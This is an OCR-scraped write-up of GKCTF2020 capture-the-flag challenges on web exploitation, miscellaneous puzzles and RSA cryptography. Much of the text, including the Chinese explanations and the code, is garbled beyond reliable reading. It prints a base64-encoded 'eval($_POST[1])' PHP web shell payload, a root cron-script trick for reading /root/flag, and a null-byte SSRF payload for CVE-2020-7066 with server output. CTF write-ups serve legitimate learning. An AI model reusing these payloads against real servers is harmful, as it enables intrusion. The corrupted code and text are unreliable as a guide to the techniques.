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Configuration

apache2handler

Apache/2.4.38 (Debian)
20120211

webmaster@localhost

174.1.129.134:80

wwwi-data({33)/33
Per Child: 0 - Keep Alive: on - Max Per Connection: 100

Connection: 300 - Keep-Alive: 5

Yes

IEMBEEAE eval($_POST[1]); HIbase64 4R f5 X &Il % #2 B AT ( Ginkgo=2XZhbCgkX1BPU1RbMVOpPOW== )
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Load URL http://347ddec?-61e8-4d9%-aedc-9517bc2391ac.node3.buuoj.cn/?Ginkgo=ZXZhbC gkX1BPU1RbMVIpOw==

Split URL

Execule # Postdata [ Referer [ UserAgent [ Cookies Clear All
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1 tmp 2020-05-19 06:14:03
O usr 2020-05-14 14:50:00
O wvar 2020-05-15 12:41:50
[ .dockerenv 2020-05-24 09:09:31
D flag 2020-05-24 09:09:33
D readflag 2020-05-23 16:41:52
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L] sys 2020-U0-U5 12123144
O tmp 2020-05-24 09:40:19
O usr 2018-01-26 09:29:52
O var 2020-05-23 14:46:321
[§ .dockerenv 2020-05-24 09:33:06
auto.sh 2020-05-23 16:17:12
D flag 2020-05-23 15:23:28
D flag.hint 2020-05-24 09:40:13
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1 #!/binfsh
2 while true; do (python /var/mail/makeflaghint.py &) &% sleep 6@; done
3

TBR60sizAT —Kpy XM, MBEAIEF TR py3fF

import os

import io

import time

os.system{"whoami™)
gkl=str(time.ctime())

gk=""nGet The RooT,The Date Is Usefull”
f=io.open("/flag.hint”, "rb+")
f.write(str{gkl))

fowrite(str(gk))

f.close()
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PIFRIER) s=open("/root/flag","r").read() f.write(s)
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B H R AT R ove-2020-7066, fEM L T T il get_headers($url) ERE RN ER L %00E N, FABHKNERRERR A
FRATEA* ctfhub.comFBEAT AT LA 1717 127.0.0.1
payload: ?url=http://127.0.0.1%00.ctfhub.com

AYTay
i
[0] => HITP/1.1 200 OK
[1] =» Date: Sun. 24 May 2020 09:53:38 GMT
[2] =» Server: Apache/2.4.38 (Debian)
[3] =» ¥-Powered-By: PHR/7.3.15
[4] =» Tips: Host must be end with 1237
[E] =» Wary: fccept-Encoding
[8] =» Content-Length: 113
[7] =» Comnection: close
[B] = Content-Type: text/html: charset=UTF-8

BRI 234 R, BERMNZ—T
payload: ?url=http://127.0.0.123%00.ctfhub.com

ALLAY
{
[0] =» HITR/1.1 200 OF
[1] =» Date: Sun, 24 May 2020 09: 54:40 GMT
[2] =» Server: AipachefZ.4.38 (Debian)
[3] =» X-Powered-By: PHR/7.3.15
[4] =» FLAG: flag{ebadfdas-1dbe-4f31-934f6-09cf2c321098}
[5] =» Wary: Accept—-Encoding
[6] =» Content-Length: 113
[7] =» Connection: cloze
[8] =» Content-Type: text/html: charset=UTF-8
)
R Ih 45 Blflag
MISC
[GKCTF2020]4: 3
15 18] 44 WX 3 3t A flag
[GKCTF2020]/d 3% ¥ %
HE R EH A flag

[GKCTF2020]Pokémon



A BRI ERAE103TIER, #NBRRIES DR E R —EE LERE

& 3 © TG

s

(®

..l
=g TN

¥ VisualBoyAdvance-1009(0, 60 fps) — O *
THE ERO SR IBED EEH

hitps:ibla n.net/miuzzx

[GKCTF2020]code obfuscation



TRMEAE —KE f, binwalk 2B —TRE—NEHE, HREEGEAEN, BRARMNEFEERT, ERE R
M —4ERD, AREREANREF LR, WATACQRK—T

MAFE) L= #RIR)

CEY

B

il
1

i
i

T s [
i

£l

.-ﬂ
4

ERBEIE 1

121 5B (402.7.210.3)4452.2.211.1)(402.8.2
EimIEE, E%

R - 1

gHiﬁ%?ﬁ:M, HE2

ME:
base(gkctf)

XERATCAL ! OAFIE, ARIERR, A RN MR E R gketf'baseZwiy T, M163RAMK, KIbase58W LA, AL NCfixaPF,
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forninabcdefeshiiklmnopgrstuvywzxyzdoeval in = "n”
done
fornin ABCDEFGHIJTELMEOPQRESTUVYWEYTZ do eval dn = "n”
done num = 0
forninabcdefghijdoeval Bn="n"
mm = ${{num + 1)) done alert("Bk=" ° :En=""" :En="
B Bs= [ Bt=") By=".  .Cb="]
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[GKCTF2020] /) 2% 4 f) 5 75 2%

5%, fR%188 sorcery, Fbase644wiy T A _tflag{HR 3 HATmH .

Affine Cipher ({/j5f#& %)

welcylk sorcery
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BT,
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tetm 4, ER6, HR9, H#fascifidmize, 5T NMATUSET

T
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code=t

code code.split( )

W
for i in code:
k
for j in i:
k (s.index(3j))
W (int(k))
print(w)

FAN R AR RSFT ARSI SO R ) B8O R BT, EH kT Erh ER B A R RK HFE £+ ki kR b ER
FT FA £ BHOR

fR k185 69 74 62 67 118 83 72 77 86 55 71 57 82 57 64 63 51 107

I RTPYALAT FLAG{ Hiasciixd b & B4 —hrin A 2 28 n 1

(int(s[i])+i+1)

Z4718 BIFLAG{YOU_ARE_GOOD}
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n 0xb119849bc4523e49c6c038a509a74cdab628d4cave4dof28e677d57F3c3c7d0d876ef07d7581fe05a060546Fedd7d061d3bc70d679b)
6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716alc89d5c174dad94eee7061bcbb6d52cafa337fc2a7bbad2c918bbd3104dff62ecc9d
3704a455a6ce282de0d8129e26c840734Ffd302bec5f0a66e0e6d0Ob5c50fa57c546cff9d7e6a978db77997082b4cb927d+9847dfffef551]
38cb946c62c9f09b968033745b5b6868338c64819a8e€92a827265F9abd409359a9471d8¢c3a2631b80e5b462bad2336717700998F+38536¢2]
436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cT8abcOO5L

p_fake Oxede4b390c1d201dae2cP0ad669c0865cc5767bcd44+5d310f3cfc75872d96Feb89e556972c99ae20753e3314240a52df5dccd
076247c6b5d11b531b92d901b2b512aebBb263bbfd624fe3d52e5e238beeb581ebe@12b2f176a4ffdle@d2aa8c4d3a2656573b727d4d3136
5132931428b00000000000000000000000000000000 L

130

PolynomialRing(Zmod(n))

p_fake
f.small roots(X=2"kbits, beta=0.4)[0]
print( ( (x0 p_fake)))

REAUAEXAN WG IZBIT A https://sagecell.sagemath.org/

Pl T 2 W B RSAMRE T IRIETHE KB
p=1607343870268497479443192742620957166507176263981184401942234522086525326947131130620842195123599687227967630
2907211746328135665461416794193099383852156340625826329984629749919088449556074487331981415098852086895104596190
6000066805136724505347218275230562125457122462589771119429631727404626489634314291445667

q=1390913530590181284217447515250800565303079659182988756912999927754840644265915814569989683155823490270719872
0634065398892592346522547166189394439774429339126927412434518902881897700260059973246982416421836639972623337306
9742839737062004061244787413638290767590029376062508897417109117189614458570241407458359

d=2125286044533188479282887080491617393512924117413683797960519978811310158047298360929491649665359580919006516
3850223661448268652840204367753906384456709736566002396131089937616731177652891844635316445073694615469278016017
5653484978019995949978636663339690823900671550243891507523898970138830488939959615998656271193006734804506852074
0568156302091055682273677206784276631301417739183105651404087221248981631377274590411961585742950467523381618527
5534271303650783270899755450959909381786156897651435608488685454369019167022986574677471882417859327419541780435
474323130558672040612736346658793656953171832859316919429117

M=56006392793404652952929683237542639719374379254753203395489847750996145026716310803874529908422228349
¥R 163 B 75 R B3 flag{3de914a1-1e97-4822-a745-c7e20c5179b9}
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